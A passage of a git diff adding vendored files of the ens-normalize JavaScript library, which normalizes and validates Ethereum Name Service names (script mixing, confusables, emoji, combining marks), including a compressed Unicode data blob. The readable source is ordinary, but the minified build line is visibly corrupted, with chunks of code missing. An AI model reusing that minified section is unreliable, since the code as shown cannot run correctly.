ESCAPE.has(cp); +} + +// return all supported emoji as fully-qualified emoji +// ordered by length then lexicographic +function ens_emoji() { + init(); + return EMOJI_LIST.map(x => x.slice()); // emoji are exposed so copy +} + +function ens_normalize_fragment(frag, decompose) { + init(); + let nf = decompose ? nfd : nfc; + return frag.split(STOP_CH).map(label => str_from_cps(tokens_from_str(explode_cp(label), nf, filter_fe0f).flat())).join(STOP_CH); +} + +function ens_normalize(name) { + return flatten(split(name, nfc, filter_fe0f)); +} + +function ens_beautify(name) { + let labels = split(name, nfc, x => x); // emoji not exposed + for (let {type, output, error} of labels) { + if (error) break; // flatten will throw + + // replace leading/trailing hyphen + // 20230121: consider beautifing all or leading/trailing hyphen to unicode variant + // not exactly the same in every font, but very similar: "-" vs "‐" + /* + const UNICODE_HYPHEN = 0x2010; + // maybe this should replace all for visual consistancy? + // `node tools/reg-count.js regex ^-\{2,\}` => 592 + //for (let i = 0; i < output.length; i++) if (output[i] == 0x2D) output[i] = 0x2010; + if (output[0] == HYPHEN) output[0] = UNICODE_HYPHEN; + let end = output.length-1; + if (output[end] == HYPHEN) output[end] = UNICODE_HYPHEN; + */ + // 20230123: WHATWG URL uses "CheckHyphens" false + // https://url.spec.whatwg.org/#idna + + // update ethereum symbol + // ξ => Ξ if not greek + if (type !== 'Greek') array_replace(output, 0x3BE, 0x39E); + + // 20221213: fixes bidi subdomain issue, but breaks invariant (200E is disallowed) + // could be fixed with special case for: 2D (.) + 200E (LTR) + // https://discuss.ens.domains/t/bidi-label-ordering-spoof/15824 + //output.splice(0, 0, 0x200E); + } + return flatten(labels); +} + +function array_replace(v, a, b) { + let prev = 0; + while (true) { + let next = v.indexOf(a, prev); + if (next < 0) break; + v[next] = b; + prev = next + 1; + } +} + +function ens_split(name, preserve_emoji) { + return split(name, nfc, preserve_emoji ? x => x.slice() : filter_fe0f); // emoji are exposed so copy +} + +function split(name, nf, ef) { + if (!name) return []; // 20230719: empty name allowance + init(); + let offset = 0; + // https://unicode.org/reports/tr46/#Validity_Criteria + // 4.) "The label must not contain a U+002E ( . ) FULL STOP." + return name.split(STOP_CH).map(label => { + let input = explode_cp(label); + let info = { + input, + offset, // codepoint, not substring! + }; + offset += input.length + 1; // + stop + try { + // 1.) "The label must be in Unicode Normalization Form NFC" + let tokens = info.tokens = tokens_from_str(input, nf, ef); + let token_count = tokens.length; + let type; + if (!token_count) { // the label was effectively empty (could of had ignored characters) + //norm = []; + //type = 'None'; // use this instead of next match, "ASCII" + // 20230120: change to strict + // https://discuss.ens.domains/t/ens-name-normalization-2nd/14564/59 + throw new Error(`empty label`); + } + let norm = info.output = tokens.flat(); + check_leading_underscore(norm); + let emoji = info.emoji = token_count > 1 || tokens[0].is_emoji; // same as: tokens.some(x => x.is_emoji); + if (!emoji && norm.every(cp => cp < 0x80)) { // special case for ascii + // 20230123: matches matches WHATWG, see note 3.3 + check_label_extension(norm); // only needed for ascii + // cant have fenced + // cant have cm + // cant have wholes + // see derive: "Fastpath ASCII" + type = 'ASCII'; + } else { + let chars = tokens.flatMap(x => x.is_emoji ? [] : x); // all of the nfc tokens concat together + if (!chars.length) { // theres no text, just emoji + type = 'Emoji'; + } else { + // 5.) "The label must not begin with a combining mark, that is: General_Category=Mark." + if (CM.has(norm[0])) throw error_placement('leading combining mark'); + for (let i = 1; i < token_count; i++) { // we've already checked the first token + let cps = tokens[i]; + if (!cps.is_emoji && CM.has(cps[0])) { // every text token has emoji neighbors, eg. EtEEEtEt... + // bidi_qq() not needed since emoji is LTR and cps is a CM + throw error_placement(`emoji + combining mark: "${str_from_cps(tokens[i-1])} + ${safe_str_from_cps([cps[0]])}"`); + } + } + check_fenced(norm); + let unique = Array_from(new Set(chars)); + let [g] = determine_group(unique); // take the first match + // see derive: "Matching Groups have Same CM Style" + // alternative: could form a hybrid type: Latin/Japanese/... + check_group(g, chars); // need text in order + check_whole(g, unique); // only need unique text (order would be required for multiple-char confusables) + type = g.N; + // 20230121: consider exposing restricted flag + // it's simpler to just check for 'Restricted' + // or even better: type.endsWith(']') + //if (g.R) info.restricted = true; + } + } + info.type = type; + } catch (err) { + info.error = err; // use full error object + } + return info; + }); +} + +function check_whole(group, unique) { + let maker; + let shared = []; + for (let cp of unique) { + let whole = WHOLE_MAP.get(cp); + if (whole === UNIQUE_PH) return; // unique, non-confusable + if (whole) { + let set = whole.M.get(cp); // groups which have a character that look-like this character + maker = maker ? maker.filter(g => set.has(g)) : Array_from(set); + if (!maker.length) return; // confusable intersection is empty + } else { + shared.push(cp); + } + } + if (maker) { + // we have 1+ confusable + // check if any of the remaining groups + // contain the shared characters too + for (let g of maker) { + if (shared.every(cp => group_has_cp(g, cp))) { + throw new Error(`whole-script confusable: ${group.N}/${g.N}`); + } + } + } +} + +// assumption: unique.size > 0 +// returns list of matching groups +function determine_group(unique) { + let groups = GROUPS; + for (let cp of unique) { + // note: we need to dodge CM that are whitelisted + // but that code isn't currently necessary + let gs = groups.filter(g => group_has_cp(g, cp)); + if (!gs.length) { + if (!GROUPS.some(g => group_has_cp(g, cp))) { + // the character was composed of valid parts + // but it's NFC form is invalid + // 20230716: change to more exact statement, see: ENSNormalize.{cs,java} + // note: this doesn't have to be a composition + // 20230720: change to full check + throw error_disallowed(cp); // this should be rare + } else { + // there is no group that contains all these characters + // throw using the highest priority group that matched + // https://www.unicode.org/reports/tr39/#mixed_script_confusables + throw error_group_member(groups[0], cp); + } + } + groups = gs; + if (gs.length == 1) break; // there is only one group left + } + // there are at least 1 group(s) with all of these characters + return groups; +} + +// throw on first error +function flatten(split) { + return split.map(({input, error, output}) => { + if (error) { + // don't print label again if just a single label + let msg = error.message; + // bidi_qq() only necessary if msg is digits + throw new Error(split.length == 1 ? msg : `Invalid label ${bidi_qq(safe_str_from_cps(input, 63))}: ${msg}`); + } + return str_from_cps(output); + }).join(STOP_CH); +} + +function error_disallowed(cp) { + // TODO: add cp to error? + return new Error(`disallowed character: ${quoted_cp(cp)}`); +} +function error_group_member(g, cp) { + let quoted = quoted_cp(cp); + let gg = GROUPS.find(g => g.P.has(cp)); // only check primary + if (gg) { + quoted = `${gg.N} ${quoted}`; + } + return new Error(`illegal mixture: ${g.N} + ${quoted}`); +} +function error_placement(where) { + return new Error(`illegal placement: ${where}`); +} + +// assumption: cps.length > 0 +// assumption: cps[0] isn't a CM +// assumption: the previous character isn't an emoji +function check_group(g, cps) { + for (let cp of cps) { + if (!group_has_cp(g, cp)) { + // for whitelisted scripts, this will throw illegal mixture on invalid cm, eg. "e{300}{300}" + // at the moment, it's unnecessary to introduce an extra error type + // until there exists a whitelisted multi-character + // eg. if (M < 0 && is_combining_mark(cp)) { ... } + // there are 3 cases: + // 1. illegal cm for wrong group => mixture error + // 2. illegal cm for same group => cm error + // requires set of whitelist cm per group: + // eg. new Set([...g.P, ...g.Q].flatMap(nfc).filter(cp => CM.has(cp))) + // 3. wrong group => mixture error + throw error_group_member(g, cp); + } + } + //if (M >= 0) { // we have a known fixed cm count + if (g.M) { // we need to check for NSM + let decomposed = nfd(cps); + for (let i = 1, e = decomposed.length; i < e; i++) { // see: assumption + // 20230210: bugfix: using cps instead of decomposed h/t Carbon225 + /* + if (CM.has(decomposed[i])) { + let j = i + 1; + while (j < e && CM.has(decomposed[j])) j++; + if (j - i > M) { + throw new Error(`too many combining marks: ${g.N} ${bidi_qq(str_from_cps(decomposed.slice(i-1, j)))} (${j-i}/${M})`); + } + i = j; + } + */ + // 20230217: switch to NSM counting + // https://www.unicode.org/reports/tr39/#Optional_Detection + if (NSM.has(decomposed[i])) { + let j = i + 1; + for (let cp; j < e && NSM.has(cp = decomposed[j]); j++) { + // a. Forbid sequences of the same nonspacing mark. + for (let k = i; k < j; k++) { // O(n^2) but n < 100 + if (decomposed[k] == cp) { + throw new Error(`duplicate non-spacing marks: ${quoted_cp(cp)}`); + } + } + } + // parse to end so we have full nsm count + // b. Forbid sequences of more than 4 nonspacing marks (gc=Mn or gc=Me). + if (j - i > NSM_MAX) { + // note: this slice starts with a base char or spacing-mark cm + throw new Error(`excessive non-spacing marks: ${bidi_qq(safe_str_from_cps(decomposed.slice(i-1, j)))} (${j-i}/${NSM_MAX})`); + } + i = j; + } + } + } + // *** this code currently isn't needed *** + /* + let cm_whitelist = M instanceof Map; + for (let i = 0, e = cps.length; i < e; ) { + let cp = cps[i++]; + let seqs = cm_whitelist && M.get(cp); + if (seqs) { + // list of codepoints that can follow + // if this exists, this will always be 1+ + let j = i; + while (j < e && CM.has(cps[j])) j++; + let cms = cps.slice(i, j); + let match = seqs.find(seq => !compare_arrays(seq, cms)); + if (!match) throw new Error(`disallowed combining mark sequence: "${safe_str_from_cps([cp, ...cms])}"`); + i = j; + } else if (!V.has(cp)) { + // https://www.unicode.org/reports/tr39/#mixed_script_confusables + let quoted = quoted_cp(cp); + for (let cp of cps) { + let u = UNIQUE.get(cp); + if (u && u !== g) { + // if both scripts are restricted this error is confusing + // because we don't differentiate RestrictedA from RestrictedB + if (!u.R) quoted = `${quoted} is ${u.N}`; + break; + } + } + throw new Error(`disallowed ${g.N} character: ${quoted}`); + //throw new Error(`disallowed character: ${quoted} (expected ${g.N})`); + //throw new Error(`${g.N} does not allow: ${quoted}`); + } + } + if (!cm_whitelist) { + let decomposed = nfd(cps); + for (let i = 1, e = decomposed.length; i < e; i++) { // we know it can't be cm leading + if (CM.has(decomposed[i])) { + let j = i + 1; + while (j < e && CM.has(decomposed[j])) j++; + if (j - i > M) { + throw new Error(`too many combining marks: "${str_from_cps(decomposed.slice(i-1, j))}" (${j-i}/${M})`); + } + i = j; + } + } + } + */ +} + +// given a list of codepoints +// returns a list of lists, where emoji are a fully-qualified (as Array subclass) +// eg. explode_cp("abc💩d") => [[61, 62, 63], Emoji[1F4A9, FE0F], [64]] +// 20230818: rename for 'process' name collision h/t Javarome +// https://github.com/adraffy/ens-normalize.js/issues/23 +function tokens_from_str(input, nf, ef) { + let ret = []; + let chars = []; + input = input.slice().reverse(); // flip so we can pop + while (input.length) { + let emoji = consume_emoji_reversed(input); + if (emoji) { + if (chars.length) { + ret.push(nf(chars)); + chars = []; + } + ret.push(ef(emoji)); + } else { + let cp = input.pop(); + if (VALID.has(cp)) { + chars.push(cp); + } else { + let cps = MAPPED.get(cp); + if (cps) { + chars.push(...cps); // less than 10 elements + } else if (!IGNORED.has(cp)) { + // 20230912: unicode 15.1 changed the order of processing such that + // disallowed parts are only rejected after NFC + // https://unicode.org/reports/tr46/#Validity_Criteria + // this doesn't impact normalization as of today + // technically, this error can be removed as the group logic will apply similar logic + // however the error type might be less clear + throw error_disallowed(cp); + } + } + } + } + if (chars.length) { + ret.push(nf(chars)); + } + return ret; +} + +function filter_fe0f(cps) { + return cps.filter(cp => cp != FE0F); +} + +// given array of codepoints +// returns the longest valid emoji sequence (or undefined if no match) +// *MUTATES* the supplied array +// disallows interleaved ignored characters +// fills (optional) eaten array with matched codepoints +function consume_emoji_reversed(cps, eaten) { + let node = EMOJI_ROOT; + let emoji; + let pos = cps.length; + while (pos) { + node = node.get(cps[--pos]); + if (!node) break; + let {V} = node; + if (V) { // this is a valid emoji (so far) + emoji = V; + if (eaten) eaten.push(...cps.slice(pos).reverse()); // (optional) copy input, used for ens_tokenize() + cps.length = pos; // truncate + } + } + return emoji; +} + +// ************************************************************ +// tokenizer + +const TY_VALID = 'valid'; +const TY_MAPPED = 'mapped'; +const TY_IGNORED = 'ignored'; +const TY_DISALLOWED = 'disallowed'; +const TY_EMOJI = 'emoji'; +const TY_NFC = 'nfc'; +const TY_STOP = 'stop'; + +function ens_tokenize(name, { + nf = true, // collapse unnormalized runs into a single token +} = {}) { + init(); + let input = explode_cp(name).reverse(); + let eaten = []; + let tokens = []; + while (input.length) { + let emoji = consume_emoji_reversed(input, eaten); + if (emoji) { + tokens.push({ + type: TY_EMOJI, + emoji: emoji.slice(), // copy emoji + input: eaten, + cps: filter_fe0f(emoji) + }); + eaten = []; // reset buffer + } else { + let cp = input.pop(); + if (cp == STOP) { + tokens.push({type: TY_STOP, cp}); + } else if (VALID.has(cp)) { + tokens.push({type: TY_VALID, cps: [cp]}); + } else if (IGNORED.has(cp)) { + tokens.push({type: TY_IGNORED, cp}); + } else { + let cps = MAPPED.get(cp); + if (cps) { + tokens.push({type: TY_MAPPED, cp, cps: cps.slice()}); + } else { + tokens.push({type: TY_DISALLOWED, cp}); + } + } + } + } + if (nf) { + for (let i = 0, start = -1; i < tokens.length; i++) { + let token = tokens[i]; + if (is_valid_or_mapped(token.type)) { + if (requires_check(token.cps)) { // normalization might be needed + let end = i + 1; + for (let pos = end; pos < tokens.length; pos++) { // find adjacent text + let {type, cps} = tokens[pos]; + if (is_valid_or_mapped(type)) { + if (!requires_check(cps)) break; + end = pos + 1; + } else if (type !== TY_IGNORED) { // || type !== TY_DISALLOWED) { + break; + } + } + if (start < 0) start = i; + let slice = tokens.slice(start, end); + let cps0 = slice.flatMap(x => is_valid_or_mapped(x.type) ? x.cps : []); // strip junk tokens + let cps = nfc(cps0); + if (compare_arrays(cps, cps0)) { // bundle into an nfc token + tokens.splice(start, end - start, { + type: TY_NFC, + input: cps0, // there are 3 states: tokens0 ==(process)=> input ==(nfc)=> tokens/cps + cps, + tokens0: collapse_valid_tokens(slice), + tokens: ens_tokenize(str_from_cps(cps), {nf: false}) + }); + i = start; + } else { + i = end - 1; // skip to end of slice + } + start = -1; // reset + } else { + start = i; // remember last + } + } else if (token.type !== TY_IGNORED) { // 20221024: is this correct? + start = -1; // reset + } + } + } + return collapse_valid_tokens(tokens); +} + +function is_valid_or_mapped(type) { + return type == TY_VALID || type == TY_MAPPED; +} + +function requires_check(cps) { + return cps.some(cp => NFC_CHECK.has(cp)); +} + +function collapse_valid_tokens(tokens) { + for (let i = 0; i < tokens.length; i++) { + if (tokens[i].type == TY_VALID) { + let j = i + 1; + while (j < tokens.length && tokens[j].type == TY_VALID) j++; + tokens.splice(i, j - i, {type: TY_VALID, cps: tokens.slice(i, j).flatMap(x => x.cps)}); + } + } + return tokens; +} + +exports.ens_beautify = ens_beautify; +exports.ens_emoji = ens_emoji; +exports.ens_normalize = ens_normalize; +exports.ens_normalize_fragment = ens_normalize_fragment; +exports.ens_split = ens_split; +exports.ens_tokenize = ens_tokenize; +exports.is_combining_mark = is_combining_mark; +exports.nfc = nfc; +exports.nfd = nfd; +exports.safe_str_from_cps = safe_str_from_cps; +exports.should_escape = should_escape; diff --git a/node_modules/@adraffy/ens-normalize/dist/index-xnf.min.js b/node_modules/@adraffy/ens-normalize/dist/index-xnf.min.js new file mode 100644 index 000000000000..58198e67d7a4 --- /dev/null +++ b/node_modules/@adraffy/ens-normalize/dist/index-xnf.min.js @@ -0,0 +1 @@ +var A="AEEUdwmgDS8BxQKKAP4BOgDjATAAngDUAIMAoABoAOAAagCOAEQAhABMAHIAOwA9ACsANgAmAGIAHgAuACgAJwAXAC0AGgAjAB8ALwAUACkAEgAeAAkAGwARABkAFgA5ACgALQArADcAFQApABAAHgAiABAAGgAeABMAGAUhBe8BFxREN8sF2wC5AK5HAW8ArQkDzQCuhzc3NzcBP68NEfMABQdHBuw5BV8FYAA9MzkI9r4ZBg7QyQAWA9CeOwLNCjcCjqkChuA/lm+RAsXTAoP6ASfnEQDytQFJAjWVCke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dot"]]),t=4;function n(A){return 1&A?~A>>1:A>>1}function r(A,e){let t=Array(A);for(let r=0,l=0;r[]));for(let l=0;ln[e].push(A)));return n}function s(A,e){let t=1+e(),n=e(),r=o(e);return f(r.length,1+A,e).flatMap(((A,e)=>{let[l,...o]=A;return Array(r[e]).fill().map(((A,e)=>{let r=e*n;return[l+e*t,o.map((A=>A+r))]}))}))}function w(A,e){return f(1+e(),1+A,e).map((A=>[A[0],A.slice(1)]))}function i(A){return`{${function(A){return A.toString(16).toUpperCase().padStart(2,"0")}(A)}}`}function B(A){let e=[];for(let t=0,n=A.length;tArray.from(A);function a(A,e){return A.P.has(e)||A.Q.has(e)}class R extends Array{get is_emoji(){return!0}}let G,k,F,U,H,J,K,N,O,m,Y,V;function P(){if(G)return;let e=function(A){let e=0;return()=>A[e++]}(function(A){let e=0;function t(){return A[e++]<<8|A[e++]}let n=t(),r=1,l=[0,1];for(let A=1;A>--s&1}const B=2**31,Q=B>>>1,g=B-1;let D=0;for(let A=0;A<31;A++)D=D<<1|i();let C=[],c=0,M=B;for(;;){let A=Math.floor(((D-c+1)*r-1)/M),e=0,t=n;for(;t-e>1;){let n=e+t>>>1;A>>1|i(),o=o<<1^Q,f=(f^Q)<<1|Q|1;c=o,M=1+f-o}let p=n-4;return C.map((e=>{switch(e-p){case 3:return p+65792+(A[f++]<<16|A[f++]<<8|A[f++]);case 2:return p+256+(A[f++]<<8|A[f++]);case 1:return p+A[f++];default:return e-1}}))}(function(A){let e=[];[..."ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"].forEach(((A,t)=>e[A.charCodeAt(0)]=t));let t=A.length,n=new Uint8Array(6*t>>3);for(let r=0,l=0,o=0,f=0;r=8&&(n[l++]=f>>(o-=8));return n}(A)));const t=()=>l(e),n=()=>new Set(t()),r=(A,e)=>e.forEach((e=>A.add(e)));G=new Map(function(A){let e=[];for(;;){let t=A();if(0==t)break;e.push(s(t,A))}for(;;){let t=A()-1;if(t<0)break;e.push(w(t,A))}return e.flat()}(e)),k=n(),F=t(),U=new Set(t().map((A=>F[A]))),F=new Set(F),H=n(),J=n();let f=(i=e,o((()=>{let A=l(i);if(A.length)return A})));var i;let B=e();const D=()=>{let A=new Set;return t().forEach((e=>r(A,f[e]))),r(A,t()),A};K=o((A=>{let t=o(e).map((A=>A+96));if(t.length){let n=A>=B;return t[0]-=32,t=Q(t),n&&(t=`Restricted[${t}]`),{N:t,P:D(),Q:D(),M:!e(),R:n}}})),N=n(),O=new Map;let C=t().concat(I(N)).sort(((A,e)=>A-e));C.forEach(((A,t)=>{let n=e(),r=C[t]=n?C[t-n]:{V:[],M:new Map};r.V.push(A),N.has(A)||O.set(A,r)}));for(let{V:A,M:e}of new Set(O.values())){let t=[];for(let e of A){let A=K.filter((A=>a(A,e))),n=t.find((({G:e})=>A.some((A=>e.has(A)))));n||(n={G:new Set,V:[]},t.push(n)),n.V.push(e),r(n.G,A)}let n=t.flatMap((A=>I(A.G)));for(let{G:A,V:r}of t){let t=new Set(n.filter((e=>!A.has(e))));for(let A of r)e.set(A,t)}}m=new Set;let M=new Set;const p=A=>m.has(A)?M.add(A):m.add(A);for(let A of K){for(let e of A.P)p(e);for(let e of A.Q)p(e)}for(let A of m)O.has(A)||M.has(A)||O.set(A,h);r(m,c(m)),Y=function(A){let e=[],t=l(A);return function A({S:t,B:n},r,l){if(!(4&t&&l===r[r.length-1])){2&t&&(l=r[r.length-1]),1&t&&e.push(r);for(let e of n)for(let t of e.Q)A(e,[...r,t],l)}}(function e(n){return{S:A(),B:o((()=>{let n=l(A).map((A=>t[A]));if(n.length)return e(n)})),Q:n}}([]),[]),e}(e).map((A=>R.from(A))).sort(g),V=new Map;for(let A of Y){let e=[V];for(let t of A){let A=e.map((A=>{let e=A.get(t);return e||(e=new Map,A.set(t,e)),e}));t===E?e.push(...A):e=A}for(let t of e)t.V=A}}function d(A){return(y(A)?"":`${z(S([A]))} `)+i(A)}function z(A){return`"${A}"‎`}function S(A,e=1/0,t=i){let n=[];Z(A[0])&&n.push("◌"),A.length>e&&(e>>=1,A=[...A.slice(0,e),8230,...A.slice(-e)]);let r=0,l=A.length;for(let e=0;eA.slice()))}function j(A,e){P();let t=e?c:C;return A.split(u).map((A=>Q(AA(B(A),t,eA).flat()))).join(u)}function L(A){return W(q(A,C,eA))}function X(A){let e=q(A,C,(A=>A));for(let{type:A,output:t,error:n}of e){if(n)break;"Greek"!==A&&v(t,958,926)}return W(e)}function v(A,e,t){let n=0;for(;;){let r=A.indexOf(e,n);if(r<0)break;A[r]=t,n=r+1}}function x(A,e){return q(A,C,e?A=>A.slice():eA)}function q(A,n,r){if(!A)return[];P();let l=0;return A.split(u).map((A=>{let o=B(A),f={input:o,offset:l};l+=o.length+1;try{let A,l=f.tokens=AA(o,n,r),s=l.length;if(!s)throw new Error("empty label");let w=f.output=l.flat();if(function(A){for(let e=A.lastIndexOf(95);e>0;)if(95!==A[--e])throw new Error("underscore allowed only at start")}(w),!(f.emoji=s>1||l[0].is_emoji)&&w.every((A=>A<128)))!function(A){if(A.length>=4&&A[2]==M&&A[3]==M)throw new Error(`invalid label extension: "${Q(A.slice(0,4))}"`)}(w),A="ASCII";else{let n=l.flatMap((A=>A.is_emoji?[]:A));if(n.length){if(F.has(w[0]))throw _("leading combining mark");for(let A=1;Aa(A,t)));if(!A.length)throw K.some((A=>a(A,t)))?$(e[0],t):T(t);if(e=A,1==A.length)break}return e}(r);!function(A,e){for(let t of e)if(!a(A,t))throw $(A,t);if(A.M){let A=c(e);for(let e=1,n=A.length;et)throw new Error(`excessive non-spacing marks: ${z(S(A.slice(e-1,r)))} (${r-e}/${t})`);e=r}}}(o,n),function(A,e){let t,n=[];for(let A of e){let e=O.get(A);if(e===h)return;if(e){let n=e.M.get(A);if(t=t?t.filter((A=>n.has(A))):I(n),!t.length)return}else n.push(A)}if(t)for(let e of t)if(n.every((A=>a(e,A))))throw new Error(`whole-script confusable: ${A.N}/${e.N}`)}(o,r),A=o.N}else A="Emoji"}f.type=A}catch(A){f.error=A}return f}))}function W(A){return A.map((({input:e,error:t,output:n})=>{if(t){let n=t.message;throw new Error(1==A.length?n:`Invalid label ${z(S(e,63))}: ${n}`)}return Q(n)})).join(u)}function T(A){return new Error(`disallowed character: ${d(A)}`)}function $(A,e){let t=d(e),n=K.find((A=>A.P.has(e)));return n&&(t=`${n.N} ${t}`),new Error(`illegal mixture: ${A.N} + ${t}`)}function _(A){return new Error(`illegal placement: ${A}`)}function AA(A,e,t){let n=[],r=[];for(A=A.slice().reverse();A.length;){let l=tA(A);if(l)r.length&&(n.push(e(r)),r=[]),n.push(t(l));else{let e=A.pop();if(m.has(e))r.push(e);else{let A=G.get(e);if(A)r.push(...A);else if(!k.has(e))throw T(e)}}}return r.length&&n.push(e(r)),n}function eA(A){return A.filter((A=>A!=E))}function tA(A,e){let t,n=V,r=A.length;for(;r&&(n=n.get(A[--r]),n);){let{V:l}=n;l&&(t=l,e&&e.push(...A.slice(r).reverse()),A.length=r)}return t}const nA="valid",rA="mapped",lA="ignored",oA="disallowed",fA="emoji",sA="nfc",wA="stop";function iA(A,{nf:e=!0}={}){P();let t=B(A).reverse(),n=[],r=[];for(;t.length;){let A=tA(t,n);if(A)r.push({type:fA,emoji:A.slice(),input:n,cps:eA(A)}),n=[];else{let A=t.pop();if(A==p)r.push({type:wA,cp:A});else if(m.has(A))r.push({type:nA,cps:[A]});else if(k.has(A))r.push({type:lA,cp:A});else{let e=G.get(A);e?r.push({type:rA,cp:A,cps:e.slice()}):r.push({type:oA,cp:A})}}}if(e)for(let A=0,e=-1;ABA(A.type)?A.cps:[])),o=C(l);g(o,l)?(r.splice(e,t-e,{type:sA,input:l,cps:o,tokens0:gA(n),tokens:iA(Q(o),{nf:!1})}),A=e):A=t-1,e=-1}else e=A;else t.type!==lA&&(e=-1)}return gA(r)}function BA(A){return A==nA||A==rA}function QA(A){return A.some((A=>J.has(A)))}function gA(A){for(let e=0;eA.cps))})}return A}export{X as ens_beautify,b as ens_emoji,L as ens_normalize,j as ens_normalize_fragment,x as ens_split,iA as ens_tokenize,Z as is_combining_mark,C as nfc,c as nfd,S as safe_str_from_cps,y as should_escape}; diff --git a/node_modules/@adraffy/ens-normalize/dist/index-xnf.mjs b/node_modules/@adraffy/ens-normalize/dist/index-xnf.mjs new file mode 100644 index 000000000000..1328e2d89a42 --- /dev/null +++ b/node_modules/@adraffy/ens-normalize/dist/index-xnf.mjs @@ -0,0 +1,1065 @@ +// created 2023-09-25T01:01:55.148Z +// compressed base64-encoded blob for include-ens data +// source: https://github.com/adraffy/ens-normalize.js/blob/main/src/make.js +// see: https://github.com/adraffy/ens-normalize.js#security +// SHA-256: 0565ed049b9cf1614bb9e11ba7d8ac6a6fb96c893253d890f7e2b2884b9ded32 +var COMPRESSED = 'AEEUdwmgDS8BxQKKAP4BOgDjATAAngDUAIMAoABoAOAAagCOAEQAhABMAHIAOwA9ACsANgAmAGIAHgAuACgAJwAXAC0AGgAjAB8ALwAUACkAEgAeAAkAGwARABkAFgA5ACgALQArADcAFQApABAAHgAiABAAGgAeABMAGAUhBe8BFxREN8sF2wC5AK5HAW8ArQkDzQCuhzc3NzcBP68NEfMABQdHBuw5BV8FYAA9MzkI9r4ZBg7QyQAWA9CeOwLNCjcCjqkChuA/lm+RAsXTAoP6ASfnEQDytQFJAjWVCkeXAOsA6godAB/cwdAUE0WlBCN/AQUCQRjFD/MRBjHxDQSJbw0jBzUAswBxme+tnIcAYwabAysG8QAjAEMMmxcDqgPKQyDXCMMxA7kUQwD3NXOrAKmFIAAfBC0D3x4BJQDBGdUFAhEgVD8JnwmQJiNWYUzrg0oAGwAUAB0AFnNcACkAFgBP9h3gPfsDOWDKneY2ChglX1UDYD30ABsAFAAdABZzIGRAnwDD8wAjAEEMzRbDqgMB2sAFYwXqAtCnAsS4AwpUJKRtFHsadUz9AMMVbwLpABM1NJEX0ZkCgYMBEyMAxRVvAukAEzUBUFAtmUwSAy4DBTER33EftQHfSwB5MxJ/AjkWKQLzL8E/cwBB6Q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SipwE0SXXsKV+GZraGSkr/RW08wPRvqvSUkYBMA9lPx4m24az+IHmCbXA+0faxTRE9wuGeO06DIXa6QlKJ3puIyiuAVfPr736vzo2pBirS+Vxel3TMm3JKhz9o2ZoRvaFVpIkykb0Hcm4oHFBMcNSNj7/4GJt43ogonY2Vg4nsDQIWxAcorpXACzgBqQPjYsE/VUpXpwNManEru4NwMCFPkXvMoqvoeLN3qyu/N1eWEHttMD65v19l/0kH2mR35iv/FI+yjoHJ9gPMz67af3Mq/BoWXqu3rphiWMXVkmnPSEkpGpUI2h1MThideGFEOK6YZHPwYzMBvpNC7+ZHxPb7epfefGyIB4JzO9DTNEYnDLVVHdQyvOEVefrk6Uv5kTQYVYWWdqrdcIl7yljwwIWdfQ/y+2QB3eR/qxYObuYyB4gTbo2in4PzarU1sO9nETkmj9/AoxDA+JM3GMqQtJR4jtduHtnoCLxd1gQUscHRB/MoRYIEsP2pDZ9KvHgtlk1iTbWWbHhohwFEYX7y51fUV2nuUmnoUcqnWIQAAgl9LTVX+Bc0QGNEhChxHR4YjfE51PUdGfsSFE6ck7BL3/hTf9jLq4G1IafINxOLKeAtO7quulYvH5YOBc+zX7CrMgWnW47/jfRsWnJjYYoE7xMfWV2HN2iyIqLI'; +const FENCED = new Map([[8217,"apostrophe"],[8260,"fraction slash"],[12539,"middle dot"]]); +const NSM_MAX = 4; + +function decode_arithmetic(bytes) { + let pos = 0; + function u16() { return (bytes[pos++] << 8) | bytes[pos++]; } + + // decode the frequency table + let symbol_count = u16(); + let total = 1; + let acc = [0, 1]; // first symbol has frequency 1 + for (let i = 1; i < symbol_count; i++) { + acc.push(total += u16()); + } + + // skip the sized-payload that the last 3 symbols index into + let skip = u16(); + let pos_payload = pos; + pos += skip; + + let read_width = 0; + let read_buffer = 0; + function read_bit() { + if (read_width == 0) { + // this will read beyond end of buffer + // but (undefined|0) => zero pad + read_buffer = (read_buffer << 8) | bytes[pos++]; + read_width = 8; + } + return (read_buffer >> --read_width) & 1; + } + + const N = 31; + const FULL = 2**N; + const HALF = FULL >>> 1; + const QRTR = HALF >> 1; + const MASK = FULL - 1; + + // fill register + let register = 0; + for (let i = 0; i < N; i++) register = (register << 1) | read_bit(); + + let symbols = []; + let low = 0; + let range = FULL; // treat like a float + while (true) { + let value = Math.floor((((register - low + 1) * total) - 1) / range); + let start = 0; + let end = symbol_count; + while (end - start > 1) { // binary search + let mid = (start + end) >>> 1; + if (value < acc[mid]) { + end = mid; + } else { + start = mid; + } + } + if (start == 0) break; // first symbol is end mark + symbols.push(start); + let a = low + Math.floor(range * acc[start] / total); + let b = low + Math.floor(range * acc[start+1] / total) - 1; + while (((a ^ b) & HALF) == 0) { + register = (register << 1) & MASK | read_bit(); + a = (a << 1) & MASK; + b = (b << 1) & MASK | 1; + } + while (a & ~b & QRTR) { + register = (register & HALF) | ((register << 1) & (MASK >>> 1)) | read_bit(); + a = (a << 1) ^ HALF; + b = ((b ^ HALF) << 1) | HALF | 1; + } + low = a; + range = 1 + b - a; + } + let offset = symbol_count - 4; + return symbols.map(x => { // index into payload + switch (x - offset) { + case 3: return offset + 0x10100 + ((bytes[pos_payload++] << 16) | (bytes[pos_payload++] << 8) | bytes[pos_payload++]); + case 2: return offset + 0x100 + ((bytes[pos_payload++] << 8) | bytes[pos_payload++]); + case 1: return offset + bytes[pos_payload++]; + default: return x - 1; + } + }); +} + +// returns an iterator which returns the next symbol +function read_payload(v) { + let pos = 0; + return () => v[pos++]; +} +function read_compressed_payload(s) { + return read_payload(decode_arithmetic(unsafe_atob(s))); +} + +// unsafe in the sense: +// expected well-formed Base64 w/o padding +// 20220922: added for https://github.com/adraffy/ens-normalize.js/issues/4 +function unsafe_atob(s) { + let lookup = []; + [...'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'].forEach((c, i) => lookup[c.charCodeAt(0)] = i); + let n = s.length; + let ret = new Uint8Array((6 * n) >> 3); + for (let i = 0, pos = 0, width = 0, carry = 0; i < n; i++) { + carry = (carry << 6) | lookup[s.charCodeAt(i)]; + width += 6; + if (width >= 8) { + ret[pos++] = (carry >> (width -= 8)); + } + } + return ret; +} + +// eg. [0,1,2,3...] => [0,-1,1,-2,...] +function signed(i) { + return (i & 1) 